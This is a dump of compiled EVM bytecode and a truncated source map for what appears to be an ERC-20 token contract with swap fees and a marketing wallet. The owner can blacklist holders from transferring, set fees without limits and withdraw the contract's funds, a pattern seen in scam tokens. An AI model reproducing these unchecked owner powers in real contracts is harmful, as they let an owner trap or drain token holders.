0x6080604052600436106101dc5760003560e01c806370a0823111610102578063b633e4cd11610095578063dd62ed3e11610064578063dd62ed3e14610576578063e82bef29146105bc578063f2fde38b146105dc578063fb0ecfa4146105fc57600080fd5b8063b633e4cd1461050a578063b9fbc49d1461052a578063bfac5ee014610540578063ce0192f91461056057600080fd5b806395d89b41116100d157806395d89b41146104a9578063a9059cbb146104be578063aa4bde28146104de578063adc7955d146104f457600080fd5b806370a0823114610420578063715018a614610456578063761344f71461046b5780638da5cb5b1461048b57600080fd5b806323b872dd1161017a5780633c11100d116101495780633c11100d146103805780634188bf5a146103b0578063595dec3c146103d05780636ac9a8701461040057600080fd5b806323b872dd1461030857806327a14fc214610328578063313ce567146103485780633bfe62ca1461036a57600080fd5b806306fdde03116101b657806306fdde0314610287578063095ea7b3146102a957806318160ddd146102c9578063206c17bb146102e857600080fd5b806301986fad146101e8578063045342461461022d578063060288481461026557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50610218610203366004611365565b60076020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561023957600080fd5b50600e5461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b34801561027157600080fd5b50610285610280366004611397565b61061c565b005b34801561029357600080fd5b5061029c6106c6565b604051610224919061141d565b3480156102b557600080fd5b506102186102c436600461146b565b610758565b3480156102d557600080fd5b50600b545b604051908152602001610224565b3480156102f457600080fd5b50600d5461024d906001600160a01b031681565b34801561031457600080fd5b50610218610323366004611497565b61076f565b34801561033457600080fd5b506102856103433660046114d8565b610806565b34801561035457600080fd5b5060065460405160ff9091168152602001610224565b34801561037657600080fd5b506102da60135481565b34801561038c57600080fd5b5061021861039b366004611365565b600f6020526000908152604090205460ff1681565b3480156103bc57600080fd5b5060155461024d906001600160a01b031681565b3480156103dc57600080fd5b506102186103eb366004611365565b60086020526000908152604090205460ff1681565b34801561040c57600080fd5b5061028561041b3660046114f1565b610851565b34801561042c57600080fd5b506102da61043b366004611365565b6001600160a01b031660009081526001602052604090205490565b34801561046257600080fd5b50610285610886565b34801561047757600080fd5b50610285610486366004611397565b6108fa565b34801561049757600080fd5b506000546001600160a01b031661024d565b3480156104b557600080fd5b5061029c610995565b3480156104ca57600080fd5b506102186104d936600461146b565b6109a4565b3480156104ea57600080fd5b506102da600c5481565b34801561050057600080fd5b506102da60145481565b34801561051657600080fd5b50610285610525366004611365565b6109b1565b34801561053657600080fd5b506102da60125481565b34801561054c57600080fd5b5061028561055b366004611513565b610a14565b34801561056c57600080fd5b506102da60115481565b34801561058257600080fd5b506102da61059136600461154a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105c857600080fd5b5060035461024d906001600160a01b031681565b3480156105e857600080fd5b506102856105f7366004611365565b610ab1565b34801561060857600080fd5b506102856106173660046114f1565b610b77565b6000546001600160a01b0316331461064f5760405162461bcd60e51b815260040161064690611583565b60405180910390fd5b60005b828110156106c0578160076000868685818110610671576106716115a3565b90506020020160208101906106869190611365565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106b8816115cf565b915050610652565b50505050565b6060600480546106d5906115e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610701906115e8565b801561074e5780601f106107235761010080835404028352916020019161074e565b820191906000526020600020905b81548152906001019060200180831161073157829003601f168201915b5050505050905090565b6000610765338484610bac565b5060015b92915050565b600061077c848484610c0e565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146107fc576001600160a01b03841660009081526002602090815260408083203384529091529020546107d7908390611622565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161064690611583565b6006546108419060ff16600a611719565b61084b9082611728565b600c5550565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161064690611583565b601391909155601455565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161064690611583565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161064690611583565b60005b828110156106c0578160086000868685818110610946576109466115a3565b905060200201602081019061095b9190611365565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098d816115cf565b915050610927565b6060600580546106d5906115e8565b6000610765338484610c0e565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161064690611583565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610a10573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161064690611583565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af1158015610a8d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c0919061173f565b6000546001600160a01b03163314610adb5760405162461bcd60e51b815260040161064690611583565b6001600160a01b038116610b1c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610646565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ba15760405162461bcd60e51b815260040161064690611583565b601191909155601255565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526008602052604090205460ff1615610c635760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610646565b6001600160a01b03831660009081526001602052604090205481811015610cbf5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610646565b6001600160a01b03841660009081526007602052604090205460ff16158015610d0157506001600160a01b03831660009081526007602052604090205460ff16155b15610d31576000612710610d178361270f611728565b610d219190611772565b905080831115610d2f578092505b505b6001600160a01b0384166000908152600f6020526040812054819060ff1680610d7257506001600160a01b0385166000908152600f602052604090205460ff165b15610e9d576001600160a01b03861660009081526007602052604090205460ff16158015610db957506001600160a01b03851660009081526007602052604090205460ff16155b15610e78576001600160a01b0385166000908152600f602052604090205460ff1615610e735760105460ff16610e7357306000908152600160205260409020548015610e71576000601454601354601254601154610e179190611786565b610e219190611786565b610e2b9190611786565b90506000611388610e3c8389611728565b610e469190611772565b905082811115610e535750815b610e5d8183610eb2565b600a54610e6b906001611786565b600a5550505b505b600191505b6001600160a01b0385166000908152600f602052604090205460ff1615610e9d575060015b610eaa86868685856111db565b505050505050565b6010805460ff19166001179055610ec98180611786565b90506000601454601254610edd9190611786565b9050600082610eec8386611728565b610ef69190611772565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610f3057610f306115a3565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fad9190611799565b81600181518110610fc057610fc06115a3565b60200260200101906001600160a01b031690816001600160a01b031681525050600081516007600a54610ff391906117b6565b14610ffe573061100b565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac9476110298589611622565b60008585426040518663ffffffff1660e01b815260040161104e9594939291906117ca565b600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b50505050838561108c9190611622565b94504780156111c8576000866013546011546110a89190611786565b6110b29084611728565b6110bd906002611728565b6110c79190611772565b6003549091506001600160a01b03166108fc6110e4600284611772565b6040518115909202916000818181858888f1935050505015801561110c573d6000803e3d6000fd5b5084156111c6576000876111208885611728565b61112a9190611772565b600d5460035460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af115801561119c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111c1919061183b565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b0385166000908152600160205260409020546111ff908490611622565b6001600160a01b03861660009081526001602052604081209190915582156112c65760008215611240576014546013546112399190611786565b905061128b565b600c5485611263886001600160a01b031660009081526001602052604090205490565b61126d9190611786565b111561127857600080fd5b6012546011546112889190611786565b90505b600061271061129a8388611728565b6112a49190611772565b905080156112c3576112b68184611786565b92506112c38830836112d5565b50505b610eaa86866112d58488611622565b6001600160a01b0382166000908152600160205260409020546112f9908290611786565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c019085815260200190565b6001600160a01b038116811461136257600080fd5b50565b60006020828403121561137757600080fd5b81356113828161134d565b9392505050565b801515811461136257600080fd5b6000806000604084860312156113ac57600080fd5b833567ffffffffffffffff808211156113c457600080fd5b818601915086601f8301126113d857600080fd5b8135818111156113e757600080fd5b8760208260051b85010111156113fc57600080fd5b6020928301955093505084013561141281611389565b809150509250925092565b600060208083528351808285015260005b8181101561144a5785810183015185820160400152820161142e565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561147e57600080fd5b82356114898161134d565b946020939093013593505050565b6000806000606084860312156114ac57600080fd5b83356114b78161134d565b925060208401356114c78161134d565b929592945050506040919091013590565b6000602082840312156114ea57600080fd5b5035919050565b6000806040838503121561150457600080fd5b50508035926020909101359150565b60008060006060848603121561152857600080fd5b83356115338161134d565b92506020840135915060408401356114128161134d565b6000806040838503121561155d57600080fd5b82356115688161134d565b915060208301356115788161134d565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016115e1576115e16115b9565b5060010190565b600181811c908216806115fc57607f821691505b60208210810361161c57634e487b7160e01b600052602260045260246000fd5b50919050565b81810381811115610769576107696115b9565b600181815b80851115611670578160001904821115611656576116566115b9565b8085161561166357918102915b93841c939080029061163a565b509250929050565b60008261168757506001610769565b8161169457506000610769565b81600181146116aa57600281146116b4576116d0565b6001915050610769565b60ff8411156116c5576116c56115b9565b50506001821b610769565b5060208310610133831016604e8410600b84101617156116f3575081810a610769565b6116fd8383611635565b8060001904821115611711576117116115b9565b029392505050565b600061138260ff841683611678565b8082028115828204841417610769576107696115b9565b60006020828403121561175157600080fd5b815161138281611389565b634e487b7160e01b600052601260045260246000fd5b6000826117815761178161175c565b500490565b80820180821115610769576107696115b9565b6000602082840312156117ab57600080fd5b81516113828161134d565b6000826117c5576117c561175c565b500690565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185057600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122045d58d184c9e4d4afc767e0f7295c79fc76bf2e8991f7708d2e9c8e25e5416d164736f6c63430008130033

Deployed Bytecode Sourcemap

11498:63:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3182:45;;;;;;;;;;-1:-1:-1;3182:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;3182:45:0;;;;;;;;3567:81;;;;;;;;;;-1:-1:-1;3567:81:0;;;;-1:-1:-1;;;;;3567:81:0;;;;;;-1:-1:-1;;;;;758:32:1;;;740:51;;728:2;713:18;3567:81:0;594:203:1;10466:220:0;;;;;;;;;;-1:-1:-1;10466:220:0;;;;;:::i;:::-;;:::i;:::-;;4929:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5687:159::-;;;;;;;;;;-1:-1:-1;5687:159:0;;;;;:::i;:::-;;:::i;5133:95::-;;;;;;;;;;-1:-1:-1;5213:7:0;;5133:95;;;2699:25:1;;;2687:2;2672:18;5133:95:0;2553:177:1;3530:30:0;;;;;;;;;;-1:-1:-1;3530:30:0;;;;-1:-1:-1;;;;;3530:30:0;;;5856:336;;;;;;;;;;-1:-1:-1;5856:336:0;;;;;:::i;:::-;;:::i;10336:122::-;;;;;;;;;;-1:-1:-1;10336:122:0;;;;;:::i;:::-;;:::i;5031:94::-;;;;;;;;;;-1:-1:-1;5108:9:0;;5031:94;;5108:9;;;;3750:36:1;;3738:2;3723:18;5031:94:0;3608:184:1;3862:33:0;;;;;;;;;;;;;;;;3655:45;;;;;;;;;;-1:-1:-1;3655:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3938:24;;;;;;;;;;-1:-1:-1;3938:24:0;;;;-1:-1:-1;;;;;3938:24:0;;;3234:42;;;;;;;;;;-1:-1:-1;3234:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11318:138;;;;;;;;;;-1:-1:-1;11318:138:0;;;;;:::i;:::-;;:::i;5236:119::-;;;;;;;;;;-1:-1:-1;5236:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5329:18:0;5302:7;5329:18;;;:9;:18;;;;;;;5236:119;2339:148;;;;;;;;;;;;;:::i;10692:211::-;;;;;;;;;;-1:-1:-1;10692:211:0;;;;;:::i;:::-;;:::i;2153:79::-;;;;;;;;;;-1:-1:-1;2191:7:0;2218:6;-1:-1:-1;;;;;2218:6:0;2153:79;;4823:98;;;;;;;;;;;;;:::i;5363:165::-;;;;;;;;;;-1:-1:-1;5363:165:0;;;;;:::i;:::-;;:::i;3440:81::-;;;;;;;;;;;;;;;;3902:29;;;;;;;;;;;;;;;;10911:115;;;;;;;;;;-1:-1:-1;10911:115:0;;;;;:::i;:::-;;:::i;3827:28::-;;;;;;;;;;;;;;;;11034:135;;;;;;;;;;-1:-1:-1;11034:135:0;;;;;:::i;:::-;;:::i;3788:32::-;;;;;;;;;;;;;;;;5536:143;;;;;;;;;;-1:-1:-1;5536:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5644:18:0;;;5617:7;5644:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5536:143;2897:80;;;;;;;;;;-1:-1:-1;2897:80:0;;;;-1:-1:-1;;;;;2897:80:0;;;2495:214;;;;;;;;;;-1:-1:-1;2495:214:0;;;;;:::i;:::-;;:::i;11177:135::-;;;;;;;;;;-1:-1:-1;11177:135:0;;;;;:::i;:::-;;:::i;10466:220::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;;;;;;;;;10572:9:::1;10568:111;10587:19:::0;;::::1;10568:111;;;10657:10;10628:13;:26;10642:8;;10651:1;10642:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10628:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10628:26:0;:39;;-1:-1:-1;;10628:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10608:3;::::1;::::0;::::1;:::i;:::-;;;;10568:111;;;;10466:220:::0;;;:::o;4929:94::-;4977:13;5010:5;5003:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4929:94;:::o;5687:159::-;5762:4;5779:37;5788:10;5800:7;5809:6;5779:8;:37::i;:::-;-1:-1:-1;5834:4:0;5687:159;;;;;:::o;5856:336::-;5954:4;5971:36;5981:6;5989:9;6000:6;5971:9;:36::i;:::-;-1:-1:-1;;;;;6022:19:0;;3777:1;6022:19;;;:11;:19;;;;;;;;6042:10;6022:31;;;;;;;;-1:-1:-1;;6022:38:0;6018:145;;-1:-1:-1;;;;;6111:19:0;;;;;;:11;:19;;;;;;;;6131:10;6111:31;;;;;;;;:40;;6145:6;;6111:40;:::i;:::-;-1:-1:-1;;;;;6077:19:0;;;;;;:11;:19;;;;;;;;6097:10;6077:31;;;;;;;:74;6018:145;-1:-1:-1;6180:4:0;5856:336;;;;;:::o;10336:122::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;10441:9:::1;::::0;10435:15:::1;::::0;10441:9:::1;;10435:2;:15;:::i;:::-;10427:23;::::0;:5;:23:::1;:::i;:::-;10409:15;:41:::0;-1:-1:-1;10336:122:0:o;11318:138::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;11399:12:::1;:22:::0;;;;11432:10:::1;:16:::0;11318:138::o;2339:148::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;2446:1:::1;2430:6:::0;;2409:40:::1;::::0;-1:-1:-1;;;;;2430:6:0;;::::1;::::0;2409:40:::1;::::0;2446:1;;2409:40:::1;2477:1;2460:19:::0;;-1:-1:-1;;;;;;2460:19:0::1;::::0;;2339:148::o;10692:211::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;10794:9:::1;10790:106;10809:19:::0;;::::1;10790:106;;;10876:8;10850:10;:23;10861:8;;10870:1;10861:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10850:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10850:23:0;:34;;-1:-1:-1;;10850:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10830:3;::::1;::::0;::::1;:::i;:::-;;;;10790:106;;4823:98:::0;4873:13;4906:7;4899:14;;;;;:::i;5363:165::-;5441:4;5458:40;5468:10;5480:9;5491:6;5458:9;:40::i;10911:115::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;10975:43:::1;::::0;-1:-1:-1;;;;;10975:20:0;::::1;::::0;10996:21:::1;10975:43:::0;::::1;;;::::0;::::1;::::0;;;10996:21;10975:20;:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10911:115:::0;:::o;11034:135::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;11127:34:::1;::::0;-1:-1:-1;;;11127:34:0;;-1:-1:-1;;;;;7908:32:1;;;11127:34:0::1;::::0;::::1;7890:51:1::0;7957:18;;;7950:34;;;11127:22:0;::::1;::::0;::::1;::::0;7863:18:1;;11127:34:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2495:214::-:0;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2584:22:0;::::1;2576:43;;;::::0;-1:-1:-1;;;2576:43:0;;8447:2:1;2576:43:0::1;::::0;::::1;8429:21:1::0;8486:1;8466:18;;;8459:29;-1:-1:-1;;;8504:18:1;;;8497:38;8552:18;;2576:43:0::1;8245:331:1::0;2576:43:0::1;2656:6;::::0;;2635:38:::1;::::0;-1:-1:-1;;;;;2635:38:0;;::::1;::::0;2656:6;::::1;::::0;2635:38:::1;::::0;::::1;2684:6;:17:::0;;-1:-1:-1;;;;;;2684:17:0::1;-1:-1:-1::0;;;;;2684:17:0;;;::::1;::::0;;;::::1;::::0;;2495:214::o;11177:135::-;2280:6;;-1:-1:-1;;;;;2280:6:0;2290:10;2280:20;2272:39;;;;-1:-1:-1;;;2272:39:0;;;;;;;:::i;:::-;11257:11:::1;:21:::0;;;;11289:9:::1;:15:::0;11177:135::o;6200:177::-;-1:-1:-1;;;;;6285:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6337:32;;2699:25:1;;;6337:32:0;;2672:18:1;6337:32:0;;;;;;;;6200:177;;;:::o;6385:1669::-;-1:-1:-1;;;;;6508:16:0;;;;;;:10;:16;;;;;;;;6507:17;6499:39;;;;-1:-1:-1;;;6499:39:0;;8783:2:1;6499:39:0;;;8765:21:1;8822:1;8802:18;;;8795:29;-1:-1:-1;;;8840:18:1;;;8833:39;8889:18;;6499:39:0;8581:332:1;6499:39:0;-1:-1:-1;;;;;5329:18:0;;6551:15;5329:18;;;:9;:18;;;;;;6603:17;;;;6595:46;;;;-1:-1:-1;;;6595:46:0;;9120:2:1;6595:46:0;;;9102:21:1;9159:2;9139:18;;;9132:30;-1:-1:-1;;;9178:18:1;;;9171:46;9234:18;;6595:46:0;8918:340:1;6595:46:0;-1:-1:-1;;;;;6659:19:0;;;;;;:13;:19;;;;;;;;6658:20;:42;;;;-1:-1:-1;;;;;;6683:17:0;;;;;;:13;:17;;;;;;;;6682:18;6658:42;6654:220;;;6717:21;6758:5;6741:14;:7;6751:4;6741:14;:::i;:::-;:22;;;;:::i;:::-;6717:46;;6791:13;6782:6;:22;6778:85;;;6834:13;6825:22;;6778:85;6702:172;6654:220;-1:-1:-1;;;;;6933:19:0;;6884:12;6933:19;;;:13;:19;;;;;;6884:12;;6933:19;;;:40;;-1:-1:-1;;;;;;6956:17:0;;;;;;:13;:17;;;;;;;;6933:40;6929:1056;;;-1:-1:-1;;;;;6995:19:0;;;;;;:13;:19;;;;;;;;6994:20;:42;;;;-1:-1:-1;;;;;;7019:17:0;;;;;;:13;:17;;;;;;;;7018:18;6994:42;6990:899;;;-1:-1:-1;;;;;7061:17:0;;;;;;:13;:17;;;;;;;;7057:784;;;7108:6;;;;7103:719;;7192:4;7143:28;5329:18;;;:9;:18;;;;;;7229:24;;7225:574;;7286:15;7346:10;;7331:12;;7318:9;;7304:11;;:23;;;;:::i;:::-;:39;;;;:::i;:::-;:52;;;;:::i;:::-;7286:70;-1:-1:-1;7388:27:0;7437:4;7418:16;7286:70;7418:6;:16;:::i;:::-;:23;;;;:::i;:::-;7388:53;;7498:20;7476:19;:42;7472:157;;;-1:-1:-1;7577:20:0;7472:157;7659:46;7676:19;7697:7;7659:16;:46::i;:::-;7753:16;;:18;;7770:1;7753:18;:::i;:::-;7736:16;:35;-1:-1:-1;;7225:574:0;7116:706;7103:719;7869:4;7859:14;;6990:899;-1:-1:-1;;;;;7907:17:0;;;;;;:13;:17;;;;;;;;7903:71;;;-1:-1:-1;7954:4:0;7903:71;7997:49;8012:4;8018:2;8022:6;8030:7;8039:6;7997:14;:49::i;:::-;6488:1566;;;6385:1669;;;:::o;9008:1101::-;4007:6;:13;;-1:-1:-1;;4007:13:0;4016:4;4007:13;;;9103:18:::1;9114:7:::0;;9103:18:::1;:::i;:::-;;;9132:13;9158:10;;9148:9;;:20;;;;:::i;:::-;9132:36:::0;-1:-1:-1;9179:16:0::1;9220:7:::0;9198:19:::1;9132:36:::0;9198:11;:19:::1;:::i;:::-;:29;;;;:::i;:::-;9262:16;::::0;;9276:1:::1;9262:16:::0;;;;;::::1;::::0;;9179:48;;-1:-1:-1;9238:21:0::1;::::0;9262:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9262:16:0::1;9238:40;;9307:4;9289;9294:1;9289:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9289:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9333:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;9333:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;9289:7;;9333:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9323:4;9328:1;9323:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1::0;;;;;9323:28:0::1;;;-1:-1:-1::0;;;;;9323:28:0::1;;;::::0;::::1;9362:24;9407:4;:11;9404:1;9387:16;;:18;;;;:::i;:::-;:31;:58;;9440:4;9387:58;;;9419:12;::::0;-1:-1:-1;;;;;9419:12:0::1;9387:58;9456:11;::::0;9362:83;;-1:-1:-1;;;;;;9456:11:0::1;:62;9519:22;9533:8:::0;9519:11;:22:::1;:::i;:::-;9543:1;9546:4;9551:16;9568:15;9456:128;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9606:5;9595:16;;;;;:::i;:::-;::::0;-1:-1:-1;9643:21:0::1;9678:12:::0;;9675:417:::1;;9715:18;9784:7;9764:12;;9750:11;;:26;;;;:::i;:::-;9736:41;::::0;:10;:41:::1;:::i;:::-;:45;::::0;9780:1:::1;9736:45;:::i;:::-;:55;;;;:::i;:::-;9813:11;::::0;9715:76;;-1:-1:-1;;;;;;9813:11:0::1;9805:43;9835:12;9846:1;9715:76:::0;9835:12:::1;:::i;:::-;9805:43;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;9867:12:0;;9863:218:::1;;9900:13;9937:7:::0;9916:18:::1;9929:5:::0;9916:10;:18:::1;:::i;:::-;:28;;;;:::i;:::-;9963:11;::::0;10036::::1;::::0;9963:102:::1;::::0;-1:-1:-1;;;9963:102:0;;10013:4:::1;9963:102;::::0;::::1;11481:34:1::0;11531:18;;;11524:34;;;9963:11:0::1;11574:18:1::0;;;11567:34;;;11617:18;;;11610:34;-1:-1:-1;;;;;10036:11:0;;::::1;11660:19:1::0;;;11653:44;10049:15:0::1;11713:19:1::0;;;11706:35;9900:44:0;;-1:-1:-1;9963:11:0::1;::::0;:27:::1;::::0;9900:44;;11415:19:1;;9963:102:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9881:200;9863:218;9701:391;9675:417;-1:-1:-1::0;;4043:6:0;:14;;-1:-1:-1;;4043:14:0;;;-1:-1:-1;;;;;9008:1101:0:o;8062:938::-;-1:-1:-1;;;;;8256:17:0;;;;;;:9;:17;;;;;;:27;;8276:7;;8256:27;:::i;:::-;-1:-1:-1;;;;;8236:17:0;;;;;;:9;:17;;;;;:47;;;;8322:605;;;;8350:15;8384:6;8380:232;;;8436:10;;8421:12;;:25;;;;:::i;:::-;8411:35;;8380:232;;;8528:15;;8517:7;8496:20;8506:9;-1:-1:-1;;;;;5329:18:0;5302:7;5329:18;;;:9;:18;;;;;;;5236:119;8496:20;:28;;;;:::i;:::-;:47;;8488:56;;;;;;8587:9;;8573:11;;:23;;;;:::i;:::-;8563:33;;8380:232;8626:18;8667:5;8647:17;8657:7;8647;:17;:::i;:::-;:25;;;;:::i;:::-;8626:46;-1:-1:-1;8691:14:0;;8687:227;;8726:23;8739:10;8726:23;;:::i;:::-;;;8768:130;8804:6;8841:4;8869:10;8768:13;:130::i;:::-;8335:592;;8322:605;8937:53;8951:6;8959:9;8970:19;8980:9;8970:7;:19;:::i;:::-;-1:-1:-1;;;;;10254:13:0;;;;;;:9;:13;;;;;;:23;;10270:7;;10254:23;:::i;:::-;-1:-1:-1;;;;;10238:13:0;;;;;;;:9;:13;;;;;;;:39;;;;10293:29;;;;;;;;;;10314:7;2699:25:1;;2687:2;2672:18;;2553:177;14:131;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;802:118::-;888:5;881:13;874:21;867:5;864:32;854:60;;910:1;907;900:12;925:750;1017:6;1025;1033;1086:2;1074:9;1065:7;1061:23;1057:32;1054:52;;;1102:1;1099;1092:12;1054:52;1142:9;1129:23;1171:18;1212:2;1204:6;1201:14;1198:34;;;1228:1;1225;1218:12;1198:34;1266:6;1255:9;1251:22;1241:32;;1311:7;1304:4;1300:2;1296:13;1292:27;1282:55;;1333:1;1330;1323:12;1282:55;1373:2;1360:16;1399:2;1391:6;1388:14;1385:34;;;1415:1;1412;1405:12;1385:34;1470:7;1463:4;1453:6;1450:1;1446:14;1442:2;1438:23;1434:34;1431:47;1428:67;;;1491:1;1488;1481:12;1428:67;1522:4;1514:13;;;;-1:-1:-1;1546:6:1;-1:-1:-1;;1587:20:1;;1574:34;1617:28;1574:34;1617:28;:::i;:::-;1664:5;1654:15;;;925:750;;;;;:::o;1680:548::-;1792:4;1821:2;1850;1839:9;1832:21;1882:6;1876:13;1925:6;1920:2;1909:9;1905:18;1898:34;1950:1;1960:140;1974:6;1971:1;1968:13;1960:140;;;2069:14;;;2065:23;;2059:30;2035:17;;;2054:2;2031:26;2024:66;1989:10;;1960:140;;;1964:3;2149:1;2144:2;2135:6;2124:9;2120:22;2116:31;2109:42;2219:2;2212;2208:7;2203:2;2195:6;2191:15;2187:29;2176:9;2172:45;2168:54;2160:62;;;;1680:548;;;;:::o;2233:315::-;2301:6;2309;2362:2;2350:9;2341:7;2337:23;2333:32;2330:52;;;2378:1;2375;2368:12;2330:52;2417:9;2404:23;2436:31;2461:5;2436:31;:::i;:::-;2486:5;2538:2;2523:18;;;;2510:32;;-1:-1: